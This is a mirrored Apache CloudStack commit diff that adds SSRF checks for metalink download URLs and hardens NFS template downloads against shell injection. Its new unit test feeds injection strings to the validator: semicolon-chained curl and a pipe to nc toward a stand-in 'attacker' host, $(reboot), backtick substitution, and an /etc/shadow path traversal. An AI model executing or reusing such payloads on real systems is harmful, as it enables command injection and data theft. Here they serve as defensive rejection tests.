mirror of
https://github.com/apache/cloudstack
synced 2026-09-02 17:40:22 +00:00
Fix issue in direct download and NFS templates
This commit is contained in:
parent
3eb928bc72
commit
07e09db0af
@ -59,6 +59,16 @@ public interface DirectDownloadManager extends DirectDownloadService, PluggableS
|
||||
"Requesting a connection from connection manager timeout in milliseconds for direct download",
|
||||
true);
|
||||
|
||||
ConfigKey<String> DirectDownloadMetalinkAllowedHostsAndCidrs = new ConfigKey<>("Advanced", String.class,
|
||||
"direct.download.metalink.allowed.hosts.and.cidrs",
|
||||
"",
|
||||
"Comma-separated list of hosts and CIDR ranges permitted as inner URL targets inside metalink files. "
|
||||
+ "Each entry may be a CIDR range (e.g. \"10.0.0.0/8\"), an exact hostname or IP "
|
||||
+ "(e.g. \"storage.corp.com\"), or a wildcard domain suffix (e.g. \"*.mylocal.net\"). "
|
||||
+ "By default all private/site-local addresses are blocked to prevent SSRF. "
|
||||
+ "Loopback and link-local addresses are always blocked regardless of this setting.",
|
||||
true);
|
||||
|
||||
class HostCertificateStatus {
|
||||
public enum CertificateStatus {
|
||||
REVOKED, FAILED, SKIPPED, UPLOADED
|
||||
|
||||
@ -133,6 +133,13 @@ public class MetalinkTemplateDownloader extends TemplateDownloaderBase implement
|
||||
int i = 0;
|
||||
while (!downloaded && i < metalinkUrls.size()) {
|
||||
String url = metalinkUrls.get(i);
|
||||
try {
|
||||
UriUtils.validateMetalinkInnerUrl(url);
|
||||
} catch (IllegalArgumentException e) {
|
||||
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation: %s - %s", url, e.getMessage()));
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
request = createRequest(url);
|
||||
downloaded = downloadTemplate();
|
||||
i++;
|
||||
|
||||
@ -19,6 +19,7 @@
|
||||
|
||||
package org.apache.cloudstack.agent.directdownload;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import org.apache.cloudstack.storage.command.StorageSubSystemCommand;
|
||||
@ -44,8 +45,8 @@ public abstract class DirectDownloadCommand extends StorageSubSystemCommand {
|
||||
private Integer connectionRequestTimeout;
|
||||
private Long templateSize;
|
||||
private Storage.ImageFormat format;
|
||||
|
||||
private boolean followRedirects;
|
||||
private List<String> allowedCidrs;
|
||||
|
||||
protected DirectDownloadCommand (final String url, final Long templateId, final PrimaryDataStoreTO destPool,
|
||||
final String checksum, final Map<String, String> headers, final Integer connectTimeout,
|
||||
@ -150,4 +151,12 @@ public abstract class DirectDownloadCommand extends StorageSubSystemCommand {
|
||||
public void setFollowRedirects(boolean followRedirects) {
|
||||
this.followRedirects = followRedirects;
|
||||
}
|
||||
|
||||
public List<String> getAllowedCidrs() {
|
||||
return allowedCidrs;
|
||||
}
|
||||
|
||||
public void setAllowedCidrs(List<String> allowedCidrs) {
|
||||
this.allowedCidrs = allowedCidrs;
|
||||
}
|
||||
}
|
||||
|
||||
@ -27,6 +27,8 @@ import org.apache.cloudstack.agent.directdownload.NfsDirectDownloadCommand;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
|
||||
import java.util.Collections;
|
||||
|
||||
public class DirectDownloadHelper {
|
||||
|
||||
protected static Logger LOGGER = LogManager.getLogger(DirectDownloadHelper.class);
|
||||
@ -50,7 +52,8 @@ public class DirectDownloadHelper {
|
||||
} else if (cmd instanceof MetalinkDirectDownloadCommand) {
|
||||
return new MetalinkDirectTemplateDownloader(cmd.getUrl(), destPoolLocalPath, cmd.getTemplateId(),
|
||||
cmd.getChecksum(), cmd.getHeaders(), cmd.getConnectTimeout(), cmd.getSoTimeout(),
|
||||
temporaryDownloadPath, cmd.isFollowRedirects());
|
||||
temporaryDownloadPath, cmd.isFollowRedirects(),
|
||||
cmd.getAllowedCidrs() != null ? cmd.getAllowedCidrs() : Collections.emptyList());
|
||||
} else {
|
||||
throw new IllegalArgumentException("Unsupported protocol, please provide HTTP(S), NFS or a metalink");
|
||||
}
|
||||
|
||||
@ -19,12 +19,14 @@
|
||||
package org.apache.cloudstack.direct.download;
|
||||
|
||||
import com.cloud.utils.Pair;
|
||||
import com.cloud.utils.UriUtils;
|
||||
import com.cloud.utils.exception.CloudRuntimeException;
|
||||
import org.apache.commons.collections.CollectionUtils;
|
||||
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Random;
|
||||
@ -37,6 +39,7 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
|
||||
private Map<String, String> headers;
|
||||
private Integer connectTimeout;
|
||||
private Integer soTimeout;
|
||||
private List<String> allowedCidrs = Collections.emptyList();
|
||||
|
||||
protected DirectTemplateDownloader createDownloaderForMetalinks(String url, Long templateId,
|
||||
String destPoolPath, String checksum, Map<String, String> headers, Integer connectTimeout,
|
||||
@ -49,24 +52,33 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
|
||||
return new HttpDirectTemplateDownloader(url, templateId, destPoolPath, checksum, headers,
|
||||
connectTimeout, soTimeout, temporaryDownloadPath, this.isFollowRedirects());
|
||||
} else if (url.toLowerCase().startsWith("nfs:")) {
|
||||
return new NfsDirectTemplateDownloader(url);
|
||||
return new NfsDirectTemplateDownloader(url, destPoolPath, templateId, checksum, temporaryDownloadPath);
|
||||
} else {
|
||||
logger.error(String.format("Cannot find a suitable downloader to handle the metalink URL %s", url));
|
||||
logger.error(String.format("Cannot find a suitable downloader to handle the metalink URL %s."
|
||||
+ " Only http and https schemes are permitted inside metalink files.", url));
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
protected MetalinkDirectTemplateDownloader(String url, Integer connectTimeout, Integer socketTimeout, boolean followRedirects) {
|
||||
this(url, null, null, null, null, connectTimeout, socketTimeout, null, followRedirects);
|
||||
this(url, null, null, null, null, connectTimeout, socketTimeout, null, followRedirects, java.util.Collections.emptyList());
|
||||
}
|
||||
|
||||
public MetalinkDirectTemplateDownloader(String url, String destPoolPath, Long templateId, String checksum,
|
||||
Map<String, String> headers, Integer connectTimeout, Integer soTimeout, String downloadPath,
|
||||
boolean followRedirects) {
|
||||
this(url, destPoolPath, templateId, checksum, headers, connectTimeout, soTimeout, downloadPath, followRedirects,
|
||||
java.util.Collections.emptyList());
|
||||
}
|
||||
|
||||
public MetalinkDirectTemplateDownloader(String url, String destPoolPath, Long templateId, String checksum,
|
||||
Map<String, String> headers, Integer connectTimeout, Integer soTimeout, String downloadPath,
|
||||
boolean followRedirects, List<String> allowedCidrs) {
|
||||
super(url, destPoolPath, templateId, checksum, downloadPath, followRedirects);
|
||||
this.headers = headers;
|
||||
this.connectTimeout = connectTimeout;
|
||||
this.soTimeout = soTimeout;
|
||||
this.allowedCidrs = allowedCidrs != null ? allowedCidrs : java.util.Collections.emptyList();
|
||||
downloader = createDownloaderForMetalinks(url, templateId, destPoolPath, checksum, headers,
|
||||
connectTimeout, soTimeout, null, downloadPath);
|
||||
metalinkUrls = downloader.getMetalinkUrls(url);
|
||||
@ -81,6 +93,10 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
|
||||
}
|
||||
}
|
||||
|
||||
public List<String> getAllowedCidrs() {
|
||||
return allowedCidrs;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Pair<Boolean, String> downloadTemplate() {
|
||||
if (StringUtils.isBlank(getUrl())) {
|
||||
@ -93,10 +109,17 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
|
||||
if (!isRedownload()) {
|
||||
setUrl(metalinkUrls.get(i));
|
||||
}
|
||||
logger.info("Trying to download Template from URL: " + getUrl());
|
||||
DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(getUrl(), getTemplateId(), getDestPoolPath(),
|
||||
getChecksum(), headers, connectTimeout, soTimeout, null, temporaryDownloadPath);
|
||||
try {
|
||||
UriUtils.validateMetalinkInnerUrl(getUrl(), allowedCidrs);
|
||||
} catch (IllegalArgumentException e) {
|
||||
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation: %s - %s", getUrl(), e.getMessage()));
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
logger.info("Trying to download Template from URL: " + getUrl());
|
||||
try {
|
||||
DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(getUrl(), getTemplateId(), getDestPoolPath(),
|
||||
getChecksum(), headers, connectTimeout, soTimeout, null, temporaryDownloadPath);
|
||||
setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName());
|
||||
File f = new File(getDownloadedFilePath());
|
||||
if (f.exists()) {
|
||||
@ -139,8 +162,20 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
|
||||
if (url.endsWith(".torrent")) {
|
||||
continue;
|
||||
}
|
||||
DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(url, null, null, null, headers, connectTimeout, soTimeout, null, null);
|
||||
if (!urlDownloader.checkUrl(url)) {
|
||||
try {
|
||||
UriUtils.validateMetalinkInnerUrl(url, allowedCidrs);
|
||||
} catch (IllegalArgumentException e) {
|
||||
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation in checkUrl: %s - %s", url, e.getMessage()));
|
||||
continue;
|
||||
}
|
||||
DirectTemplateDownloader urlDownloader;
|
||||
try {
|
||||
urlDownloader = createDownloaderForMetalinks(url, null, null, null, headers, connectTimeout, soTimeout, null, null);
|
||||
} catch (Exception e) {
|
||||
logger.warn(String.format("Skipping metalink inner URL that failed validation in checkUrl: %s - %s", url, e.getMessage()));
|
||||
continue;
|
||||
}
|
||||
if (urlDownloader == null || !urlDownloader.checkUrl(url)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@ -154,6 +189,12 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
|
||||
if (url.endsWith("torrent")) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
UriUtils.validateMetalinkInnerUrl(url, allowedCidrs);
|
||||
} catch (IllegalArgumentException e) {
|
||||
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation in getRemoteFileSize: %s - %s ", url, e.getMessage()));
|
||||
continue;
|
||||
}
|
||||
if (downloader.checkUrl(url)) {
|
||||
return downloader.getRemoteFileSize(url, format);
|
||||
}
|
||||
|
||||
@ -28,31 +28,50 @@ import java.net.URI;
|
||||
import java.net.URISyntaxException;
|
||||
import java.util.List;
|
||||
import java.util.UUID;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
public class NfsDirectTemplateDownloader extends DirectTemplateDownloaderImpl {
|
||||
|
||||
private String srcHost;
|
||||
private String srcPath;
|
||||
|
||||
private static final String mountCommand = "mount -t nfs %s %s";
|
||||
// srcHost and srcPath are used to build mount/cp commands; restrict them to safe
|
||||
// characters so a crafted NFS url cannot smuggle shell metacharacters into the agent.
|
||||
// Host must start with an alphanumeric character and the path must start with '/' so
|
||||
// neither can be interpreted as a command-line option (argument confusion).
|
||||
private static final Pattern SRC_HOST_PATTERN = Pattern.compile("^[A-Za-z0-9][A-Za-z0-9._-]*$");
|
||||
private static final Pattern SRC_PATH_PATTERN = Pattern.compile("^/[A-Za-z0-9/._-]*$");
|
||||
// SRC_PATH_PATTERN allows '.' and '/' individually, so a ".." segment would still pass;
|
||||
// reject path traversal explicitly.
|
||||
private static final Pattern PATH_TRAVERSAL_PATTERN = Pattern.compile("(^|/)\\.\\.(/|$)");
|
||||
|
||||
/**
|
||||
* Parse url and set srcHost and srcPath
|
||||
*/
|
||||
private void parseUrl() {
|
||||
URI uri = null;
|
||||
String url = getUrl();
|
||||
try {
|
||||
uri = new URI(UriUtils.encodeURIComponent(url));
|
||||
URI uri = new URI(UriUtils.encodeURIComponent(url));
|
||||
if (uri.getScheme() != null && uri.getScheme().equalsIgnoreCase("nfs")) {
|
||||
srcHost = uri.getHost();
|
||||
srcPath = uri.getPath();
|
||||
validateHostAndPath(url);
|
||||
}
|
||||
} catch (URISyntaxException e) {
|
||||
throw new CloudRuntimeException("Invalid NFS url " + url + " caused error: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private void validateHostAndPath(String url) {
|
||||
if (srcHost == null || !SRC_HOST_PATTERN.matcher(srcHost).matches()) {
|
||||
throw new CloudRuntimeException("Invalid host in NFS url: " + url);
|
||||
}
|
||||
if (srcPath == null || !SRC_PATH_PATTERN.matcher(srcPath).matches()
|
||||
|| PATH_TRAVERSAL_PATTERN.matcher(srcPath).find()) {
|
||||
throw new CloudRuntimeException("Invalid path in NFS url: " + url);
|
||||
}
|
||||
}
|
||||
|
||||
protected NfsDirectTemplateDownloader(String url) {
|
||||
this(url, null, null, null, null);
|
||||
}
|
||||
@ -66,12 +85,54 @@ public class NfsDirectTemplateDownloader extends DirectTemplateDownloaderImpl {
|
||||
@Override
|
||||
public Pair<Boolean, String> downloadTemplate() {
|
||||
String mountSrcUuid = UUID.randomUUID().toString();
|
||||
String mount = String.format(mountCommand, srcHost + ":" + srcPath, "/mnt/" + mountSrcUuid);
|
||||
Script.runSimpleBashScript(mount);
|
||||
String downloadDir = getDestPoolPath() + File.separator + getDirectDownloadTempPath(getTemplateId());
|
||||
setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName());
|
||||
Script.runSimpleBashScript("cp /mnt/" + mountSrcUuid + srcPath + " " + getDownloadedFilePath());
|
||||
Script.runSimpleBashScript("umount /mnt/" + mountSrcUuid);
|
||||
String mountPoint = "/mnt/" + mountSrcUuid;
|
||||
|
||||
// Build each command from discrete arguments (no shell) so srcHost/srcPath cannot be
|
||||
// interpreted as shell metacharacters even if they slip past validation. "--" separates
|
||||
// options from positional arguments so a value cannot be mistaken for an option.
|
||||
File mountDir = new File(mountPoint);
|
||||
if (!mountDir.exists() && !mountDir.mkdirs()) {
|
||||
throw new CloudRuntimeException("Failed to create mount point " + mountPoint);
|
||||
}
|
||||
|
||||
// NFS can only mount an exported directory, never an individual file, so mount the
|
||||
// parent directory of srcPath and copy the filename relative to the mount point.
|
||||
int lastSlash = srcPath.lastIndexOf('/');
|
||||
String parentPath = lastSlash > 0 ? srcPath.substring(0, lastSlash) : "/";
|
||||
String fileName = srcPath.substring(lastSlash + 1);
|
||||
|
||||
Script mount = new Script("mount", logger);
|
||||
mount.add("-t", "nfs");
|
||||
mount.add("--");
|
||||
mount.add(srcHost + ":" + parentPath);
|
||||
mount.add(mountPoint);
|
||||
String result = mount.execute();
|
||||
if (result != null) {
|
||||
throw new CloudRuntimeException(String.format("Failed to mount NFS source %s:%s : %s", srcHost, parentPath, result));
|
||||
}
|
||||
|
||||
try {
|
||||
String downloadDir = getDestPoolPath() + File.separator + getDirectDownloadTempPath(getTemplateId());
|
||||
setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName());
|
||||
|
||||
Script copy = new Script("cp", logger);
|
||||
copy.add("--");
|
||||
copy.add(mountPoint + "/" + fileName);
|
||||
copy.add(getDownloadedFilePath());
|
||||
String copyResult = copy.execute();
|
||||
if (copyResult != null) {
|
||||
throw new CloudRuntimeException(String.format("Failed to copy template from NFS source %s:%s : %s", srcHost, srcPath, copyResult));
|
||||
}
|
||||
} finally {
|
||||
Script umount = new Script("umount", logger);
|
||||
umount.add("--");
|
||||
umount.add(mountPoint);
|
||||
String umountResult = umount.execute();
|
||||
if (umountResult != null) {
|
||||
logger.warn(String.format("Failed to unmount %s : %s", mountPoint, umountResult));
|
||||
}
|
||||
}
|
||||
|
||||
return new Pair<>(true, getDownloadedFilePath());
|
||||
}
|
||||
|
||||
|
||||
@ -0,0 +1,73 @@
|
||||
//
|
||||
// Licensed to the Apache Software Foundation (ASF) under one
|
||||
// or more contributor license agreements. See the NOTICE file
|
||||
// distributed with this work for additional information
|
||||
// regarding copyright ownership. The ASF licenses this file
|
||||
// to you under the Apache License, Version 2.0 (the
|
||||
// "License"); you may not use this file except in compliance
|
||||
// with the License. You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing,
|
||||
// software distributed under the License is distributed on an
|
||||
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
// KIND, either express or implied. See the License for the
|
||||
// specific language governing permissions and limitations
|
||||
// under the License.
|
||||
//
|
||||
package org.apache.cloudstack.direct.download;
|
||||
|
||||
import com.cloud.utils.exception.CloudRuntimeException;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Test;
|
||||
|
||||
public class NfsDirectTemplateDownloaderTest {
|
||||
|
||||
@Test
|
||||
public void testValidNfsUrlIsAccepted() {
|
||||
// A well-formed NFS url must parse without error.
|
||||
new NfsDirectTemplateDownloader("nfs://10.0.0.1/export/templates/tmpl.qcow2");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testRejectsSemicolonInPath() {
|
||||
assertRejected("nfs://10.0.0.1/a;curl http://attacker/x");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testRejectsCommandSubstitutionInPath() {
|
||||
assertRejected("nfs://10.0.0.1/$(reboot)");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testRejectsBacktickInPath() {
|
||||
assertRejected("nfs://10.0.0.1/`reboot`");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testRejectsPipeInPath() {
|
||||
assertRejected("nfs://10.0.0.1/a|nc attacker 4444");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testRejectsHostStartingWithDash() {
|
||||
// A leading '-' could be mistaken for a mount option (argument confusion).
|
||||
assertRejected("nfs://-oremount/export/tmpl.qcow2");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testRejectsPathTraversal() {
|
||||
// '.' and '/' are allowed individually, but a ".." segment must not slip through.
|
||||
assertRejected("nfs://10.0.0.1/export/../../etc/shadow");
|
||||
}
|
||||
|
||||
private void assertRejected(String url) {
|
||||
try {
|
||||
new NfsDirectTemplateDownloader(url);
|
||||
Assert.fail("Expected CloudRuntimeException for url: " + url);
|
||||
} catch (CloudRuntimeException expected) {
|
||||
// metacharacters must be rejected during url parsing
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -408,13 +408,33 @@ public class DirectDownloadManagerImpl extends ManagerBase implements DirectDown
|
||||
} else if (protocol.equals(DownloadProtocol.NFS)) {
|
||||
return new NfsDirectDownloadCommand(url, templateId, destPool, checksum, httpHeaders);
|
||||
} else if (protocol.equals(DownloadProtocol.METALINK)) {
|
||||
return new MetalinkDirectDownloadCommand(url, templateId, destPool, checksum, httpHeaders, connectTimeout,
|
||||
soTimeout, followRedirects);
|
||||
MetalinkDirectDownloadCommand cmd = new MetalinkDirectDownloadCommand(url, templateId, destPool,
|
||||
checksum, httpHeaders, connectTimeout, soTimeout, followRedirects);
|
||||
cmd.setAllowedCidrs(parseAllowedCidrs(DirectDownloadMetalinkAllowedHostsAndCidrs.value()));
|
||||
return cmd;
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Parses a comma-separated CIDR string from the global setting into a list.
|
||||
* Blank values return an empty list (all site-local addresses blocked).
|
||||
*/
|
||||
private List<String> parseAllowedCidrs(String rawValue) {
|
||||
if (org.apache.commons.lang3.StringUtils.isBlank(rawValue)) {
|
||||
return java.util.Collections.emptyList();
|
||||
}
|
||||
List<String> cidrs = new java.util.ArrayList<>();
|
||||
for (String cidr : rawValue.split(",")) {
|
||||
String trimmed = cidr.trim();
|
||||
if (!trimmed.isEmpty()) {
|
||||
cidrs.add(trimmed);
|
||||
}
|
||||
}
|
||||
return cidrs;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the list of running hosts to which upload certificates for Direct Download
|
||||
*/
|
||||
@ -783,7 +803,8 @@ public class DirectDownloadManagerImpl extends ManagerBase implements DirectDown
|
||||
DirectDownloadCertificateUploadInterval,
|
||||
DirectDownloadConnectTimeout,
|
||||
DirectDownloadSocketTimeout,
|
||||
DirectDownloadConnectionRequestTimeout
|
||||
DirectDownloadConnectionRequestTimeout,
|
||||
DirectDownloadMetalinkAllowedHostsAndCidrs
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@ -304,6 +304,134 @@ public class UriUtils {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a URL extracted from inside a metalink file.
|
||||
* Only {@code http} and {@code https} schemes are permitted.
|
||||
* Loopback, link-local, any-local, multicast, and site-local (RFC-1918)
|
||||
* addresses are all blocked.
|
||||
*
|
||||
* @param url the inner URL to validate
|
||||
* @throws IllegalArgumentException if the URL is not safe to fetch
|
||||
*/
|
||||
public static void validateMetalinkInnerUrl(String url) throws IllegalArgumentException {
|
||||
validateMetalinkInnerUrl(url, Collections.emptyList());
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a URL extracted from inside a metalink file, with an optional
|
||||
* admin-configured CIDR allowlist that may permit private-range addresses.
|
||||
* Loopback, link-local, any-local, and multicast addresses are
|
||||
* always blocked regardless of the allowlist.
|
||||
* Site-local (RFC-1918) addresses can be selectively permitted by
|
||||
* supplying matching CIDR strings (e.g. {@code "10.0.0.0/8"}).
|
||||
*
|
||||
* @param url the inner URL to validate
|
||||
* @param allowedCidrs CIDR strings whose addresses are allowed even when
|
||||
* site-local; an empty list blocks all site-local addresses
|
||||
* @throws IllegalArgumentException if the URL is not safe to fetch
|
||||
*/
|
||||
public static void validateMetalinkInnerUrl(String url, List<String> allowedCidrs)
|
||||
throws IllegalArgumentException {
|
||||
if (url == null || url.isBlank()) {
|
||||
throw new IllegalArgumentException("Empty URL in metalink file");
|
||||
}
|
||||
try {
|
||||
URI uri = new URI(url);
|
||||
String scheme = uri.getScheme();
|
||||
if (scheme == null
|
||||
|| (!scheme.equalsIgnoreCase("http") && !scheme.equalsIgnoreCase("https")
|
||||
&& !scheme.equalsIgnoreCase("nfs"))) {
|
||||
throw new IllegalArgumentException(
|
||||
String.format("Metalink inner URL scheme not allowed: '%s'. Only http, https and nfs are permitted.", scheme));
|
||||
}
|
||||
String host = uri.getHost();
|
||||
if (host == null || host.isBlank()) {
|
||||
throw new IllegalArgumentException(String.format("No host in metalink inner URL: %s", url));
|
||||
}
|
||||
try {
|
||||
InetAddress addr = InetAddress.getByName(host);
|
||||
checkHost(addr, false);
|
||||
// Site-local (RFC-1918) blocked by default; overridable via allowlist.
|
||||
if (addr.isSiteLocalAddress() && !isAddressInAllowedCidrs(host, addr, allowedCidrs)) {
|
||||
throw new IllegalArgumentException(
|
||||
String.format("Metalink inner URL resolves to a private/site-local address: %s. "
|
||||
+ "Configure direct.download.metalink.allowed.hosts.and.cidrs to permit specific ranges.", host));
|
||||
}
|
||||
} catch (UnknownHostException e) {
|
||||
throw new IllegalArgumentException(String.format("Unable to resolve metalink inner URL host: %s", host));
|
||||
}
|
||||
} catch (URISyntaxException e) {
|
||||
throw new IllegalArgumentException(String.format("Invalid metalink inner URL: %s", url));
|
||||
}
|
||||
}
|
||||
|
||||
static boolean isAddressInAllowedCidrs(InetAddress addr, List<String> entries) {
|
||||
return isAddressInAllowedCidrs(addr.getHostAddress(), addr, entries);
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns true if the given host/address is permitted by any entry in the list.
|
||||
* Entries may be a CIDR range 10.0.0.0/8}, an exact hostname or IP
|
||||
* (storage.corp.com), or a wildcard domain suffix (*.mylocal.net).
|
||||
* Wildcard matching is a hostname-suffix check against host; CIDR and
|
||||
* exact-hostname entries resolve to an IP and compare. Malformed entries are logged and skipped.
|
||||
*/
|
||||
static boolean isAddressInAllowedCidrs(String host, InetAddress addr, List<String> entries) {
|
||||
if (entries == null || entries.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
byte[] addrBytes = addr.getAddress();
|
||||
for (String entry : entries) {
|
||||
String trimmed = entry.trim();
|
||||
if (trimmed.startsWith("*.")) {
|
||||
String suffix = trimmed.substring(1); // e.g. ".mylocal.net"
|
||||
if (host != null && host.toLowerCase().endsWith(suffix.toLowerCase())) {
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
if (trimmed.contains("/")) {
|
||||
String[] parts = trimmed.split("/");
|
||||
if (parts.length != 2) {
|
||||
LOGGER.warn("Ignoring malformed CIDR in metalink allowlist: " + trimmed);
|
||||
continue;
|
||||
}
|
||||
InetAddress cidrAddr = InetAddress.getByName(parts[0]);
|
||||
int prefixLen = Integer.parseInt(parts[1].trim());
|
||||
byte[] cidrBytes = cidrAddr.getAddress();
|
||||
if (cidrBytes.length != addrBytes.length) {
|
||||
continue;
|
||||
}
|
||||
if (isMatchingPrefix(addrBytes, cidrBytes, prefixLen)) {
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
if (InetAddress.getByName(trimmed).equals(addr)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (UnknownHostException | NumberFormatException e) {
|
||||
LOGGER.warn("Ignoring invalid entry in metalink allowlist: " + trimmed + " — " + e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/** Returns true if {@code addr} matches {@code cidr} for the given prefix length. */
|
||||
private static boolean isMatchingPrefix(byte[] addr, byte[] cidr, int prefixLen) {
|
||||
int fullBytes = prefixLen / 8;
|
||||
int remainingBits = prefixLen % 8;
|
||||
for (int i = 0; i < fullBytes; i++) {
|
||||
if (addr[i] != cidr[i]) return false;
|
||||
}
|
||||
if (remainingBits > 0 && fullBytes < addr.length) {
|
||||
int mask = 0xFF << (8 - remainingBits);
|
||||
return (addr[fullBytes] & mask) == (cidr[fullBytes] & mask);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Verifies whether the provided host is valid. Throws an `IllegalArgumentException` if:
|
||||
* <ul>
|
||||
@ -314,18 +442,21 @@ public class UriUtils {
|
||||
*/
|
||||
private static void checkHost(String host, boolean skipIpv6Check) {
|
||||
try {
|
||||
InetAddress hostAddr = InetAddress.getByName(host);
|
||||
if (hostAddr.isAnyLocalAddress() || hostAddr.isLinkLocalAddress() || hostAddr.isLoopbackAddress() || hostAddr.isMulticastAddress()) {
|
||||
throw new IllegalArgumentException("Illegal host specified in URL.");
|
||||
}
|
||||
if (!skipIpv6Check && hostAddr instanceof Inet6Address) {
|
||||
throw new IllegalArgumentException(String.format("IPv6 addresses are not supported (%s).", hostAddr.getHostAddress()));
|
||||
}
|
||||
checkHost(InetAddress.getByName(host), skipIpv6Check);
|
||||
} catch (UnknownHostException uhe) {
|
||||
throw new IllegalArgumentException(String.format("Unable to resolve %s.", host));
|
||||
}
|
||||
}
|
||||
|
||||
private static void checkHost(InetAddress addr, boolean skipIpv6Check) {
|
||||
if (addr.isAnyLocalAddress() || addr.isLinkLocalAddress() || addr.isLoopbackAddress() || addr.isMulticastAddress()) {
|
||||
throw new IllegalArgumentException("Illegal host specified in URL.");
|
||||
}
|
||||
if (!skipIpv6Check && addr instanceof Inet6Address) {
|
||||
throw new IllegalArgumentException(String.format("IPv6 addresses are not supported (%s).", addr.getHostAddress()));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add element to priority list examining node attributes: priority (for urls) and type (for checksums)
|
||||
*/
|
||||
|
||||
Loading…
Reference in New Issue
Block a user